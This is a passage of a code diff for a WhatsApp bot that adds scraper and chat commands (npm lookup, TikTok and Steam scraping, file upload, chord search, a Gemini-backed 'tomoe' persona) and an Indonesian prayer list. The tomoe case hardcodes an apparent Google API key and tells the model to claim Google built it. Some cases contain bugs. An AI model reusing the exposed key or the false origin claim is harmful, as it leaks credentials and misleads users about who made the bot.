reply("Your temporary email has been deleted."); + } else { + reply("Failed to delete your temporary email. Please try again."); + } + } catch (error) { + console.error(error); + reply("An error occurred while deleting your temporary email. Please try again."); + } + } else { + reply("You don't have a temporary email to delete."); + } + break; +} + + + +case 'npmstalk': { + if (!text) return reply("Example: .npmstalk axios") +async function npmstalk(packageName) { + let stalk = await axios.get("https://registry.npmjs.org/"+packageName) + let versions = stalk.data.versions + let allver = Object.keys(versions) + let verLatest = allver[allver.length-1] + let verPublish = allver[0] + let packageLatest = versions[verLatest] + return { + name: packageName, + versionLatest: verLatest, + versionPublish: verPublish, + versionUpdate: allver.length, + latestDependencies: Object.keys(packageLatest.dependencies).length, + publishDependencies: Object.keys(versions[verPublish].dependencies).length, + publishTime: stalk.data.time.created, + latestPublishTime: stalk.data.time[verLatest] + } +} +try { +let jut = await npmstalk(text) +let ahwoi = `[ *NPM STALK* ] + +Name: ${jut.name} +Version Latest: ${jut.versionLatest} +Version Publish: ${jut.versionPublish} +Version Update: ${jut.versionUpdate} +Latest Dependencies: ${jut.latestDependencies} +Publish Dependencies: ${jut.publishDependencies} +Publish Time: ${jut.publishTime} +Latest Publish Time: ${jut.latestPublishTime} +` +David.sendMessage(m.chat, {text: ahwoi}, {quoted: m}) +} catch (error) { + m.reply(error.message) +} +} +break +case 'editee': { + if (!q) return m.reply(`_Ask App?`); +// wm avz + async function getSession() { + const res = await axios.get("https://editee.com/chat-gpt"); + return res.headers['set-cookie'] ? res.headers['set-cookie'][0].split(';')[0].split('=')[1] : null; + } +// wm avz + async function avz(query) { + const sessionCookie = await getSession(); + const headers = { + "content-type": "application/json", + "cookie": `editeecom_session=${sessionCookie}`, + "user-agent": "Mozilla/5.0", + "x-requested-with": "XMLHttpRequest" + }; +// wm avz + const response = await axios.post("https://editee.com/submit/chatgptfree", { + context: " ", + selected_model: "gemini", + important: `aV77OsKy`, // ubah aja kalau mau error wkwk + user_input: query + }, { headers }); +// wm avz + return response.data; + } +// wm avz + try { + const answer = await avz(q); + m.reply(answer.text); + } catch (error) { + console.error("Error :", error); + m.reply("Happen ?."); + } +} +break + + case 'ttslide': { + let input = `[!] *wrong input* + +Ex : ${prefix + command} https://vt.tiktok.com/ZSFSqcuXb/` + + if (!text) return m.reply(input) + + if (!(text.includes('http://') || text.includes('https://'))) return m.reply(`url invalid, please input a valid url. Try with add http:// or https://`) + if (!text.includes('tiktok.com')) return m.reply(`Invalid Tiktok URL.`) + + async function tiktok(url) { + try { + const data = new URLSearchParams({ + 'id': url, + 'locale': 'id', + 'tt': 'RFBiZ3Bi' + }); + + const headers = { + 'HX-Request': true, + 'HX-Trigger': '_gcaptcha_pt', + 'HX-Target': 'target', + 'HX-Current-URL': 'https://ssstik.io/id', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36', + 'Referer': 'https://ssstik.io/id' + }; + + const response = await axios.post('https://ssstik.io/abc?url=dl', data, { + headers + }); + const html = response.data; + + const $ = cheerio.load(html); + + const author = $('#avatarAndTextUsual h2').text().trim(); + const title = $('#avatarAndTextUsual p').text().trim(); + const video = $('.result_overlay_buttons a.download_link').attr('href'); + const audio = $('.result_overlay_buttons a.download_link.music').attr('href'); + const imgLinks = []; + $('img[data-splide-lazy]').each((index, element) => { + const imgLink = $(element).attr('data-splide-lazy'); + imgLinks.push(imgLink); + }); + + const result = { + author, + title, + result: video || imgLinks, + audio + }; + return result + } catch (error) { + console.error('Error:', error); + return null; + } +} + +try { + const { + result } = await tiktok(text); + m.reply(mess.wait) + let no = 1 + for (let i of result) { + David.sendMessage(m.sender, {image: {url: i}, caption: `Picture to - ${no++}`}, {quoted: m}) +} +} catch (error) { + m.reply(error) +} +} +break + + case 'steamsearch': { + if (!q) return reply("Example: .steamsearch honkai impact") +async function Steam(search) { + return new Promise(async (resolve, reject) => { + try { + const { data, status } = await axios.get('https://store.steampowered.com/search/?term=' + search) + const $ = cheerio.load(data) + const hasil = [] + $('#search_resultsRows > a').each((a, b) => { + const link = $(b).attr('href') + const judul = $(b).find(`div.responsive_search_name_combined > div.col.search_name.ellipsis > span`).text() + const harga = $(b).find(`div.responsive_search_name_combined > div.col.search_price_discount_combined.responsive_secondrow > div.col.search_price.responsive_secondrow `).text().replace(/ /g, '').replace(/\n/g, '') + var rating = $(b).find(`div.responsive_search_name_combined > div.col.search_reviewscore.responsive_secondrow > span`).attr('data-tooltip-html') + const img = $(b).find(`div.col.search_capsule > img`).attr('src') + const rilis = $(b).find(`div.responsive_search_name_combined > div.col.search_released.responsive_secondrow`).text() + + if (typeof rating === 'undefined') { + var rating = 'no ratings' + } + if (rating.split('
')) { + let hhh = rating.split('
') + var rating = `${hhh[0]} ${hhh[1]}` + } + hasil.push({ + Title: judul, + img: img, + link: link, + rilis: rilis, + harga: harga ? Sold : 'no price', + rating: rating + }) + }) + if (hasil.every(x => x === undefined)) return resolve({ developer: '@xorizn', mess: 'no result found' }) + resolve(hasil) + } catch (err) { + console.error(err) + } + }) +} +Steam(q).then(results => { + if (results.length === 0) { + m.reply('No results found.'); + return; + } + + let replyTextt = `Search results for "${q}":\n\n`; + results.forEach((hasil, index) => { + replyTextt += `${index + 1}. ${hasil.judul}\nPrice: ${hasil.harga}\nLink: ${hasil.link}\nRelease: ${hasil.rilis}\nRating: ${hasil.rating}\n\n`; + }); + + m.reply(replyTextt); + }).catch(error => { + m.reply('An error occurred while searching for games on Steam.'); + console.error(error); + }); +} +break + + case 'top4top': { + const request = require("request") +const { fromBuffer } = require('file-type'); +async function top4top(baper) { + return new Promise(async (resolve, reject) => { + const { + ext + } = await fromBuffer(baper) || {} + var req = await request({ + url: "https://top4top.io/index.php", + method: "POST", + "headers": { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "accept-language": "en-US,en;q=0.9,id;q=0.8", + "cache-control": "max-age=0", + 'content-type': 'multipart/form-data; boundary=----WebKitFormBoundaryAmIhdMyLOrbDawcA', + 'User-Agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.585 Mobile Safari/534.11+' + } + }, + function(error, response, body) { + if (error) { return resolve({ + result: 'error' + }) } + const $ = cheerio.load(body) + let result = $('div.alert.alert-warning > ul > li > span').find('a').attr('href') || "gagal" + if (result == "gagal") { + resolve({ + status: "error", + msg: "maybe file not allowed or try another file" + }) + } + resolve({ + status: "sukses", + result + }) + }); + let form = req.form() + form.append('file_1_', baper, { + filename: `${Math.floor(Math.random() * 10000)}.` + `${ext}` + }) + form.append('file_1_', '') + form.append('submitr', '[ رفع الملفات ]') + }) +} +let spas = " " + let q = m.quoted ? m.quoted : m + let mime = (q.msg || q).mimetype || '' + if (!/image/g.test(mime)) reply("Reply Gambar Aja") + let media = await q.download() + let link = await top4top(media) + let { result, status } = link + let caption = `*[ ${status.toUpperCase()} ]* + +📮 *L I N K :* +${result} +📊 *S I Z E :* ${media.length} Byte +` + +reply(caption) +} +break + + case 'chord': { +async function chord(query) { + return new Promise(async (resolve, reject) => { + try { + const head = { + "User-Agent": "Mozilla/5.0 (Linux; Android 9; CPH1923) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36", + "Cookie": "__gads=ID=4513c7600f23e1b2-22b06ccbebcc00d1:T=1635371139:RT=1635371139:S=ALNI_MYShBeii6AFkeysWDKiD3RyJ1106Q; _ga=GA1.2.409783375.1635371138; _gid=GA1.2.1157186793.1635371140; _fbp=fb.1.1635371147163.1785445876"}; + + const { data } = await axios.get(`http://app.chordindonesia.com/?json=get_search_results&exclude=date,modified,attachments,comment_count,comment_status,thumbnail,thumbnail_images,author,excerpt,content,categories,tags,comments,custom_fields&search=${query}`, { headers: head }); + + const anu = await axios.get(`http://app.chordindonesia.com/?json=get_post&id=${data.posts[0].id}`, { headers: head }); + + let $ = cheerio.load(anu.data.post.content); + + resolve({ + title: $("img").attr("alt"), + chord: $("pre").text().trim() + }); + } catch (error) { + reject(error); + } + }); +} + +if (!text) return m.reply('Input Judul Lagu'); + +let query = text.replace(/\s/g, '+'); // Mengganti spasi dengan "+" +let a = await chord(query); + +m.reply(`*Song :* ${a.title}\n*Chord :*\n\n${a.chord}`); +}; +break +case 'tomoe': { + if (!text) { + return m.reply(`Example: .tomoe Hi`); + } + +const sendToGemini = async (prompt) => { + const apiKey = 'AIzaSyB2mvsGVTZAU-h-GtCLzoLhjHEdvugx9uQ'; // Dapatkan apikey dari https://aistudio.google.com/app/apikey + const url = `https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash-latest:generateContent?key=${apiKey}`; + + const body = { + contents: [ + { + parts: [ + { text: prompt } + ] + } + ] + }; + + try { + const response = await fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(body) + }); + + const data = await response.json(); + + if (response.ok) { + return data; + } else { + throw new Error(data.error.message || 'Request failed'); + } + } catch (error) { + console.error('Error:', error.message); + return null; + } +}; + + m.reply("Tomoe is thinking...."); + const prompt = `Your name is tomoe, you are a virtual assistant developed directly from google.`; + const combinedPrompt = `${prompt} ${text}`; + try { + // Mengirim prompt ke API Gemini + const response = await sendToGemini(combinedPrompt); + + if (response) { + const candidates = response.candidates; + let message = candidates && candidates.length > 0 + ? candidates[0].content.parts[0].text + : 'No response received from model.'; + + // Mengganti ** dengan * dan mengedit jawaban jika perlu + message = message.replace(/\*\*/g, '*').replace(/#{2,}/g, '#'); + + // Mengirim respons dari Gemini ke user + await David.sendMessage(m.chat, { text: message }, { quoted: m }); + } else { + await David.sendMessage( + m.chat, + { text: 'Failed to get a response from Gemini.' }, + { quoted: m } + ); + } + } catch (error) { + console.error(error); + await David.sendMessage( + m.chat, + { text: 'An error occurred while processing your request.' }, + { quoted: m } + ); + } +} +break +case 'waifu': { +const waifud = await fetchJson +(`https://pic.re/image.json`) +const waifut = "https://" + waifud.file_url + David.sendMessage(from, { image: { url: waifut }, caption: `Hell nah\n\nSize: ${waifud.file_size}` }, { quoted: m }) +} +break +case 'doaharian': { +var pripayerr = [ + { + "id": "1", + "doa": "Doa sebelum tidur", + "ayat": "بِسْمِكَ االلّٰهُمَّ اَحْيَا وَبِاسْمِكَ اَمُوْتُ", + "latin": "Bismikallaahumma ahyaa wa ammuut", + "artinya": "Dengan menyebut nama Allah, aku hidup dan aku mati" + }, + { + "id": "2", + "doa": "Doa bangun tidur", + "ayat": "اَلْحَمْدُ ِللهِ الَّذِىْ اَحْيَانَا بَعْدَمَآ اَمَاتَنَا وَاِلَيْهِ النُّشُوْرُ", + "latin": "Alhamdu lillahil ladzii ahyaanaa ba’da maa amaa tanaa wa ilahin nusyuuru", + "artinya": "Segala puji bagi Allah yang telah menghidupkan kami sesudah kami mati (membangunkan dari tidur) dan hanya kepada-Nya kami dikembalikan" + }, + { + "id": "3", + "doa": "Doa masuk kamar mandi", + "ayat": "اَللّٰهُمَّ اِنّىْ اَعُوْذُبِكَ مِنَ الْخُبُثِ وَالْخَبَآئِثِ", + "latin": "Allahumma Innii a'uudzubika minal khubutsi wal khoaaitsi", + "artinya": "Ya Allah, aku berlindung pada-Mu dari godaan setan laki-laki dan setan perempuan" + }, + { + "id": "4", + "doa": "Doa ketika bercermin", + "ayat": "اَلْحَمْدُ ِللهِ كَمَا حَسَّنْتَ خَلْقِىْ فَحَسِّـنْ خُلُقِىْ", + "latin": "Alhamdulillaahi kamaa hassanta kholqii fahassin khuluqii", + "artinya": "Segala puji bagi Allah, baguskanlah budi pekertiku sebagaimana Engkau telah membaguskan rupa wajahku" + }, + { + "id": "5", + "doa": "Doa keluar rumah", + "ayat": "بِسْمِ اللهِ تَوَكَّلْتُ عَلَى اللهِ لاَحَوْلَ وَلاَقُوَّةَ اِلاَّ بِالله", + "latin": "Bismillaahi tawakkaltu 'alalloohi laa hawlaa walaa quwwata illaa bilaahi", + "artinya": "Dengan menyebut nama Allah aku bertawakal kepada Allah, tiada daya kekuatan melainkan dengan pertolongan Allah." + }, + { + "id": "6", + "doa": "Doa masuk rumah", + "ayat": "اَللّٰهُمَّ اِنّىْ اَسْأَلُكَ خَيْرَالْمَوْلِجِ وَخَيْرَالْمَخْرَجِ بِسْمِ اللهِ وَلَجْنَا وَبِسْمِ اللهِ خَرَجْنَا وَعَلَى اللهِ رَبّنَا تَوَكَّلْنَا", + "latin": "Allahumma innii as-aluka khoirol mauliji wa khoirol makhroji bismillaahi wa lajnaa wa bismillaahi khorojnaa wa'alallohi robbina tawakkalnaa", + "artinya": "Ya Allah, sesungguhnya aku mohon kepada-Mu baiknya tempat masuk dan baiknya tempat keluar dengan menyebut nama Allah kami masuk, dan dengan menyebut nama Allah kami keluar dan kepada Allah Tuhan kami, kami bertawakkal" + }, + { + "id": "7", + "doa": "Doa memohon ilmu yang bermanfaat", + "ayat": "اَللّٰهُمَّ اِنِّى اَسْأَلُكَ عِلْمًا نَافِعًا وَرِزْقًا طَيِّبًا وَعَمَلاً مُتَقَبَّلاً", + "latin": "Allahumma innii as-aluka 'ilmaan naafi'aan wa rizqoon thoyyibaan wa 'amalaan mutaqobbalaan", + "artinya": "Ya Allah, sesungguhnya aku mohon kepada-Mu ilmu yang berguna, rezki yang baik dan amal yang baik Diterima. (H.R. Ibnu Majah)" + }, + { + "id": "8", + "doa": "Doa sebelum belajar", + "ayat": "يَارَبِّ زِدْنِىْ عِلْمًا وَارْزُقْنِىْ فَهْمًا", + "latin": "Yaa robbi zidnii 'ilman warzuqnii fahmaa", + "artinya": "Ya Allah, tambahkanlah aku ilmu dan berikanlah aku rizqi akan kepahaman" + }, + { + "id": "9", + "doa": "Doa sesudah belajar", + "ayat": "اَللّٰهُمَّ اِنِّى اِسْتَوْدِعُكَ مَاعَلَّمْتَنِيْهِ فَارْدُدْهُ اِلَىَّ عِنْدَ حَاجَتِىْ وَلاَ تَنْسَنِيْهِ يَارَبَّ الْعَالَمِيْنَ", + "latin": "Allaahumma innii astaudi'uka maa 'allamtaniihi fardud-hu ilayya 'inda haajatii wa laa tansaniihi yaa robbal 'alamiin", + "artinya": "Ya Allah, sesungguhnya aku menitipkan kepada Engkau ilmu-ilmu yang telah Engkau ajarkan kepadaku, dan kembalikanlah kepadaku sewaktu aku butuh kembali dan janganlah Engkau lupakan aku kepada ilmu itu wahai Tuhan seru sekalian alam." + }, + { + "id": "10", + "doa": "Doa sebelum wudhu", + "ayat": "نَوَيْتُ الْوُضُوْءَ لِرَفْعِ الْحَدَثِ اْلاَصْغَرِ فَرْضًا لِلّٰهِ تَعَالَى", + "latin": "Nawaitul whudu-a lirof'il hadatsii ashghori fardhon lillaahi ta'aalaa", + "artinya": "Saya niat berwudhu untuk menghilangkan hadast kecil fardu (wajib) karena Allah ta'ala" + }, + { + "id": "11", + "doa": "Doa setelah wudhu", + "ayat": "اَشْهَدُ اَنْ لاَّاِلَهَ اِلاَّاللهُ وَحْدَهُ لاَشَرِيْكَ لَهُ وَاَشْهَدُ اَنَّ مُحَمَّدًاعَبْدُهُ وَرَسُوْلُهُ. اَللّٰهُمَّ اجْعَلْنِىْ مِنَ التَّوَّابِيْنَ وَاجْعَلْنِىْ مِنَ الْمُتَطَهِّرِيْنَ، وَجْعَلْنِيْ مِنْ عِبَادِكَ الصَّالِحِيْنَ", + "latin": "Asyhadu allaa ilaaha illalloohu wahdahuu laa syariika lahu wa asyhadu anna muhammadan ‘abduhuuwa rosuuluhuu, alloohummaj’alnii minat tawwaabiina waj’alnii minal mutathohhiriina, waj'alnii min 'ibadikash shaalihiina.", + "artinya": "Aku bersaksi, tidak ada Tuhan selain Allah Yang Maha Esa, tidak ada sekutu bagi-Nya, dan aku mengaku bahwa Nabi Muhammad itu adalah hamba dan Utusan Allah. Ya Allah, jadikanlah aku dari golongan orang-orang yang bertaubat dan jadikanlah aku dari golongan orang-orang yang suci dan jadikanlah aku dari golongan hamba-hamba Mu yang shaleh" + }, + { + "id": "12", + "doa": "Doa sebelum membaca al-qur'an", + "ayat": "اَللّٰهُمَّ افْتَحْ عَلَىَّ حِكْمَتَكَ وَانْشُرْ عَلَىَّ رَحْمَتَكَ وَذَكِّرْنِىْ مَانَسِيْتُ يَاذَاالْجَلاَلِ وَاْلاِكْرَامِ", + "latin": "Allahummaftah 'alayya hikmataka wansyur 'alayya rohmataka wa dzakkirnii maanasiitu yaa dzal jalaali wal ikhroomi", + "artinya": "Ya Allah bukakanlah hikmahMu padaku, bentangkanlah rahmatMu padaku dan ingatkanlah aku terhadap apa yang aku lupa, wahai Dzat yang memiliki keagungan dan kemuliaan" + }, + { + "id": "13", + "doa": "Doa setelah membaca al-qur'an", + "ayat": "اَللّٰهُمَّ ارْحَمْنِىْ بِالْقُرْآنِ. وَاجْعَلْهُ لِىْ اِمَامًا وَنُوْرًا وَّهُدًى وَّرَحْمَةً. اَللّٰهُمَّ ذَكِّرْنِىْ مِنْهُ مَانَسِيْتُ وَعَلِّمْنِىْ مِنْهُ مَاجَهِلْتُ. وَارْزُقْنِىْ تِلاَ وَتَهُ آنَآءَ اللَّيْلِ وَاَطْرَافَ النَّهَارٍ. وَاجْعَلْهُ لِىْ حُجَّةً يَارَبَّ الْعَالَمِيْنَ", + "latin": "Allahummarhamnii bil qur'aani. waj'alhu lii imaaman wa nuuran wa hudan wa rohman. Allahumma dzakkirnii minhu maa nasiitu wa'allimnii minhu maa jahiltu. wazuqnii tilaa watahu aanaa-al laili wa athroofan nahaari. waj'alhu lii hujjatan yaa robbal 'aalamiina.", + "artinya": "Ya Allah, rahmatilah aku dengan Al-Quran yang agung, jadikanlah ia bagiku ikutan cahaya petunjuk rahmat. Ya Allah, ingatkanlah apa yang telah aku lupa dan ajarkan kepadaku apa yang tidak aku ketahui darinya, anugerahkanlah padaku kesempatan membacanya pada sebagian malam dan siang, jadikanlah ia hujjah yang kuat bagiku, wahai Tuhan seru sekalian alam." + }, + { + "id": "14", + "doa": "Doa sebelum mandi", + "ayat": "اَللّٰهُمَّ اغْفِرْلِى ذَنْبِى وَوَسِّعْ لِى فِىْ دَارِىْ وَبَارِكْ لِىْ فِىْ رِزْقِىْ", + "latin": "Allahummaghfirlii dzambii wa wassi'lii fii daarii wa baarik lii fii rizqii", + "artinya": "Ya Allah ampunilah dosa kesalahanku dan berilah keluasaan di rumahku serta berkahilah pada rezekiku" + }, + { + "id": "15", + "doa": "Doa hendak berpergian", + "ayat": "اَللّٰهُمَّ هَوِّنْ عَلَيْنَا سَفَرَنَا هَذَا وَاطْوِعَنَّابُعْدَهُ اَللّٰهُمَّ اَنْتَ الصَّاحِبُ فِى السَّفَرِوَالْخَلِيْفَةُفِى الْاَهْلِ", + "latin": "Allahumma hawwin 'alainaa safaranaa hadzaa waatwi 'annaa bu'dahu. Alloohumma antashookhibu fiissafari walkholiifatu fiil ahli", + "artinya": "Ya Allah, mudahkanlah kami berpergian ini, dan dekatkanlah kejauhannya. Ya Allah yang menemani dalam berpergian, dan Engkau pula yang melindungi keluarga." + }, + { + "id": "16", + "doa": "Doa ketika sampai di tempat tujuan", + "ayat": "اَلْحَمْدُ ِللهِ الَّذِى سَلَمَنِى وَالَّذِى اَوَنِى وَالَّذِى جَمَعَ الشَّمْلَ بِ", + "latin": "Alhamdulillahil ladzi sallamani wal ladzi awani wal ladzi jama’asy syamla bi", + "artinya": "Segala puji bagi Allah, yang telah menyelamatkan akau dan yang telah melindungiku dan yang mengumpulkanku dengan keluargaku." + }, + { + "id": "17", + "doa": "Doa memakai pakaian", + "ayat": "بِسْمِ اللهِ اَللّٰهُمَّ اِنِّى اَسْأَلُكَ مِنْ خَيْرِهِ وَخَيْرِ مَاهُوَ لَهُ وَاَعُوْذُبِكَ مِنْ شَرِّهِ وَشَرِّمَا هُوَلَهُ", + "latin": "Bismillaahi, Alloohumma innii as-aluka min khoirihi wa khoiri maa huwa lahuu wa'a'uu dzubika min syarrihi wa syarri maa huwa lahuu", + "artinya": "Dengan nama-Mu yaa Allah akku minta kepada Engkau kebaikan pakaian ini dan kebaikan apa yang ada padanya, dan aku berlindung kepada Engkau dari kejahatan pakaian ini dan kejahatan yang ada padanya" + }, + { + "id": "18", + "doa": "Doa memakai pakaian baru", + "ayat": " اَلْحَمْدُ لِلّٰهِ الَّذِىْ كَسَانِىْ هَذَا وَرَزَقَنِيْهِ مِنْ غَيْرِ حَوْلٍ مِنِّىْ وَلاَقُوَّةٍ", + "latin": "Alhamdu lillaahil ladzii kasaanii haadzaa wa rozaqoniihi min ghoiri hawlim minni wa laa quwwatin", + "artinya": "Segala puji bagi Allah yang memberi aku pakaian ini dan memberi rizeki dengan tiada upaya dan kekuatan dariku" + }, + { + "id": "19", + "doa": "Doa melepas pakaian", + "ayat": "بِسْمِ اللهِ الَّذِيْ لاَ إِلَهَ إِلَّا هُوَ", + "latin": "Bismillaahil ladzii laa ilaaha illaa huwa", + "artinya": "Dengan nama Allah yang tiada Tuhan selain-Nya" + }, + { + "id": "20", + "doa": "Doa menjelang sholat subuh", + "ayat": "اَللّٰهُمَّ اِنِّى اَعُوْذُ بِكَ مِنْ ضِيْقِ الدُّنْيَا وَضِيْقِ يَوْمِ الْقِيَامَةِ", + "latin": "Allaahumma inni a'udzubika min dzhiiqid-dunyaa wa dzhiiqi yaumal-qiyaamati", + "artinya": "Ya Allah! Sesungguhnya aku berlindung kepada-Mu dari kesempitan dunia dan kesempitan hari kiamat. (HR. Abu Daud)" + }, + { + "id": "21", + "doa": "Doa menyambut pagi hari", + "ayat": "اَللّٰهُمَّ بِكَ اَصْبَحْنَا وَبِكَ اَمْسَيْنَا وَبِكَ نَحْيَا وَبِكَ نَمُوْتُ وَاِلَيْكَ النُّشُوْرُ", + "latin": "Alloohumma bika ashbahnaa wa bika amsainaa wa bika nahyaa wa bika namuutu wa ilaikan nusyuuru", + "artinya": "Ya Allah, karena Engkau kami mengalami waktu pagi dan waktu petang, dan karena Engkau kami hidup dan mati dan kepada-Mu juga kami akan kembali." + }, + { + "id": "22", + "doa": "Doa menyambut sore hari", + "ayat": "اَللّٰهُمَّ بِكَ اَمْسَيْنَا وَبِكَ اَصْبَحْنَا وَبِكَ نَحْيَا وَبِكَ نَمُوْتُ وَاِلَيْكَ الْمَصِيْرُ", + "latin": "Allahumma bika amsainaa wa bika ashbahnaa wa bika nahyaa wa bika namuutu wa ilaikal mashiir", + "artinya": "Ya Allah, karena Engkau kami mengalami waktu petang dan waktu pagi, karena Engkau kami hidup dan mati dan kepada-Mu juga kami akan kembali." + }, + { + "id": "23", + "doa": "Doa bercermin", + "ayat": "اللَّهُمَّ كَمَا حَسَّنْتَ خَلْقِي فَحَسِّنْ خُلُقِي", + "latin": "Alloohumma kamaa hassanta kholqii fahassin khuluqi", + "artinya": "Ya Allah, sebagaimana Engkau baguskan tubuhku, maka baguskanlah akhlaqku" + }, + { + "id": "24", + "doa": "Doa pergi ke masjid", + "ayat": "اللَّهُمَّ اجْعَلْ فِى قَلْبِى نُورًا . وَفِى بَصَرِى نُورًا . وَفِى سَمْعِى نُورًا . وَعَنْ يَمِينِى نُورًا . وَعَنْ يَسَارِى نُورًا . وَفَوْقِى نُورًا . وَتَحْتِى نُورًا . وَأَمَامِى نُورًا . وَخَلْفِى نُورًا . وَاجْعَلْ لِى نُورًا", + "latin": "Alloohummaj’al fii qolbi nuuron. Wa fii bashori nuuron. Wa fii sam’i nuuron. Wa ‘an yamiinii nuuron. Wa ‘ay yasaarii nuuron. Wa fauqi nuuron. Wa tahti nuuron. Wa amaamii nuuron. Wakholqi nuuron. Waj’al lii nuuron", + "artinya": "Ya Allah, jadikanlah di dalam hatiku cahaya. Dalam penglihatanku cahaya. Pada pendengaranku cahaya. Sebelah kananku cahaya. Sebelah kiriku cahaya. Atasku cahaya. Bawahku cahaya. Depanku cahaya. Belakangku cahaya. Dan berikanlah cahaya kepadaku." + }, + { + "id": "25", + "doa": "Doa masuk masjid", + "ayat": "اللَّهُمَّ افْتَحْ لِى أَبْوَابَ رَحْمَتِكَ", + "latin": "Alloohummaf tahlii abwaaba rohmatik", + "artinya": "Ya Allah, bukakanlah pintu-pintu rahmatMu untukku" + }, + { + "id": "26", + "doa": "Doa keluar masjid", + "ayat": "اللَّهُمَّ إِنِّى أَسْأَلُكَ مِنْ فَضْلِكَ", + "latin": "Alloohumma innii as-aluka min fadllik", + "artinya": "Ya Allah, sesungguhnya aku memohon keutamaan kepadaMu" + }, + { + "id": "27", + "doa": "Doa setelah adzan", + "ayat": "اللَّهُمَّ رَبَّ هَذِهِ الدَّعْوَةِ التَّامَّةِ وَالصَّلاَةِ الْقَائِمَةِ آتِ مُحَمَّدًا الْوَسِيلَةَ وَالْفَضِيلَةَ وَابْعَثْهُ مَقَامًا مَحْمُودًا الَّذِى وَعَدْتَهُ", + "latin": "Alloohumma robba haadzihid da’watit taammah washsholaatil qoo-imah. Aati Muhammadanil wasiilata wal fadliilah. Wab’atshu maqooman mahmuudanil ladzii wa ‘adtah", + "artinya": "Ya Allah, Tuhan panggilan yang sempurna dan shalat yang akan didirikan ini. Berikanlah wasilah dan keutamaan kepada Muhammad. Bangkitkanlah dia pada kedudukan yang terpuji seperti yang Engkau janjikan kepadanya." + }, + { + "id": "28", + "doa": "Doa naik kendaraan", + "ayat": "سُبْحَانَ الَّذِى سَخَّرَ لَنَا هَذَا وَمَا كُنَّا لَهُ مُقْرِنِينَ وَإِنَّا إِلَى رَبِّنَا لَمُنْقَلِبُونَ", + "latin": "Subhaanal ladzii sakhkhoro lanaa haadzaa wamaa kunnaa lahuu muqriniin. Wa innaa ilaa robbinaa lamunqolibuun", + "artinya": "Mahasuci Dia yang telah menundukkan semua ini bagi kami padahal sebelumnya kami tidak mampu menguasainya. Dan sesungguhnya kami akan kembali kepada Tuhan kami." + }, + { + "id": "29", + "doa": "Doa masuk pasar", + "ayat": "لاَ إِلَهَ إِلاَّ اللَّهُ وَحْدَهُ لاَ شَرِيكُ لَهُ لَهُ الْمُلْكُ وَلَهُ الْحَمْدُ يُحْيِى وَيُمِيتُ وَهُوَ حَىٌّ لاَ يَمُوتُ بِيَدِهِ الْخَيْرُ وَهُوَ عَلَى كُلِّ شَىْءٍ قَدِيرٌ", + "latin": "Laa ilaaha illalloohu wahdahu laa syariikalah. Lahul mulku walahul hamdu. Yuhyii wa yumiitu wahuwa hayyun laa yamuut. Biyadihil khoir wahuwa ‘alaa kulli syai-in qodiir", + "artinya": "Tiada tuhan selain Allah Yang Maha Esa, tiada sekutu bagiNya. Dia yang mempunyai kerajaan dan segala pujian. Dialah yang menghidupkan dan mematikan, dan Dia Mahahidup yang tidak mati. Di tangan-Nya segala kebaikan dan Dia Mahakuasa atas segala sesuatu." + }, + { + "id": "30", + "doa": "Doa sebelum makan", + "ayat": "اَللّٰهُمَّ بَارِكْ لَنَا فِيْمَا رَزَقْتَنَا وَقِنَا عَذَابَ النَّارِ", + "latin": "Allahumma baarik lanaa fiimaa rozaqtanaa wa qinaa 'adzaa bannaar.", + "artinya": "Ya Allah, berkahilah kami dalam rezeki yang telah Engkau berikan kepada kami dan peliharalah kami dari siksa api neraka" + }, + { + "id": "31", + "doa": "Doa sesudah makan", + "ayat": "اَلْحَمْدُ ِللهِ الَّذِىْ اَطْعَمَنَا وَسَقَانَا وَجَعَلَنَا مُسْلِمِيْنَ", + "latin": "Alhamdulillahilladzi ath-amanaa wa saqoonaa wa ja'alanaa minal muslimiin.", + "artinya": "Segala puji bagi Allah yang telah memberi kami makan dan minum serta menjadikan kami termasuk dari kaum muslimin." + }, + { + "id": "32", + "doa": "Doa ketika turun hujan", + "ayat": "اللَّهُمَّ صَيِّبًا نَافِعًا", + "latin": "Allahumma shayyiban nafi’an.", + "artinya": "Ya Allah, curahkanlah air hujan yang bermanfaat. (HR Bukhar dari Aisyah RA)" + }, + { + "id": "33", + "doa": "Doa ketika takut bahaya hujan lebat", + "ayat": "اللَّهُمَّ حَوَالَيْنَا وَلاَ عَلَيْنَا ، اللَّهُمَّ عَلَى الآكَامِ وَالظِّرَابِ ، وَبُطُونِ الأَوْدِيَةِ ، وَمَنَابِتِ الشَّجَرِ", + "latin": "Allahumma hawalaina wala ‘alaina. Allahumma ‘alal akami wa adhirabi, wa buthunil auwdiyati, wamanabitisyajari.", + "artinya": "Ya Allah turunkan hujan ini di sekitar kami jangan di atas kami. Ya Allah curahkanlah hujan ini di atas bukit-bukit, di hutan-hutan lebat, di gunung-gunung kecil, di lembah-lembah, dan tempat-tempat tumbuhnya pepohonan. (HR Bukhari Muslim)" + }, + { + "id": "34", + "doa": "Doa setelah turun hujan", + "ayat": "مُطِرْنَا بِفَضْلِ اللـهِ ورَحْمَتِهِ", + "latin": "Muthirnaa bifadhlillahi wa rahmatihi.", + "artinya": "Diturunkan kepada kami hujan berkat anugerah Allah dan rahmat-Nya. (HR Bukhari)" + }, + { + "id": "35", + "doa": "Doa bertemu binatang buas", + "ayat": "إِنَّهُۥ مِن سُلَيْمَٰنَ وَإِنَّهُۥ بِسْمِ ٱللَّهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ", + "latin": "Innahụ min sulaimāna wa innahụ bismillāhir-raḥmānir-raḥīm", + "artinya": "Sesungguhnya surat itu, dari SuIaiman dan sesungguhnya (isi)nya: Dengan menyebut nama Allah Yang Maha Pemurah lagi Maha Penyayang. (Qs. An Naml: 30 )" + }, + { + "id": "36", + "doa": "Doa agar selalu dicukupkan rezeki", + "ayat": "اَللّٰهُمَّ اَكْفِنِيْ بِحَلَالِكَ عَنْ 